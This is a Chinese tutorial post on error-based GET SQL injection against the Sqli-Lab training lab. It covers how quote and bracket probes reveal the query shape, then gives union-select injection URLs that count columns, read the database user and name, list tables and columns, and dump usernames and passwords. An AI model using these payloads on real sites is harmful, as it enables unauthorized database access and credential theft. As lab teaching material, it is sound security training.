8、GET基于报错的SQL注入

一、SQL注入分类

根据注入位置数据类型可将SQL注入分为两类:数字型和字符型
例如:
数字型:select * from table where id = 用户输入id
字符型:select * from table where id = ‘用户输入id‘

二、GET基于报错的SQL注入发现

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \ 来探测URL中是否存在注入点。

  • 实验:Sqli-Lab Less1-4,GET基于报错的SQL注入。
‘‘1‘‘ LIMIT 0,1‘
‘1‘‘ LIMIT 0,1
‘1‘ LIMIT 0,1

select login_name,password from admin where id = ‘id‘ limit 0,1;



‘‘ LIMIT 0,1‘
‘ LIMIT 0,1
LIMIT 0,1

select login_name,password from admin where id = id limit 0,1;



 ‘‘1‘‘) LIMIT 0,1‘
‘1‘‘) LIMIT 0,1
‘1‘) LIMIT 0,1
(‘1‘) LIMIT 0,1

select login_name,password from admin where id = (‘id‘) limit 0,1;



‘"1\") LIMIT 0,1‘
"1\") LIMIT 0,1
"1") LIMIT 0,1
("1") LIMIT 0,1

select login_name,password from admin where id = ("id") limit 0,1;

三、GET基于报错的SQL注入利用

1、group_concat()函数

? 在有group by的查询语句中,select指定的字段要么就包含在group by语句的后面,作为分组的依据,要么就包含在聚合函数中。

2、对 Sqli-Lab Less1 使用联合查询,步骤如下:

1)利用 order by 判断字段数

http://192.168.16.68:90/sqli/Less-1/?id=1‘ order by 4 --+

2)利用 union select 联合查询确定可以回显字段

http://xx/sqli/Less-1/?id=0‘ union select 1,2,3 --+

3)利用 union select 联合查询配合user() 函数和 database() 函数获取用户名和数据库名

http://xx/sqli/Less-1/?id=0‘ union select 1,user(),database() --+

4)利用 union select 联合查询,获取表名

http://xx/sqli/Less-1/?id=0‘ union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() --+

5、利用 union select 联合查询,获取字段名

http://xx/sqli/Less-1/?id=0‘ union select 1, group_concat(column_name), 3 from information_schema.columns where table_name=‘users‘ --+

6、利用 union select 联合查询,获取字段值

http://xx/sqli/Less-1/?id=0‘ union select 1 , group_concat(username,0x3a,password),3 from users --+

8、GET基于报错的SQL注入

上一篇:spark连接mysql数据库


下一篇:Centos下部署prometheus+grafana并监控业务主机和数据库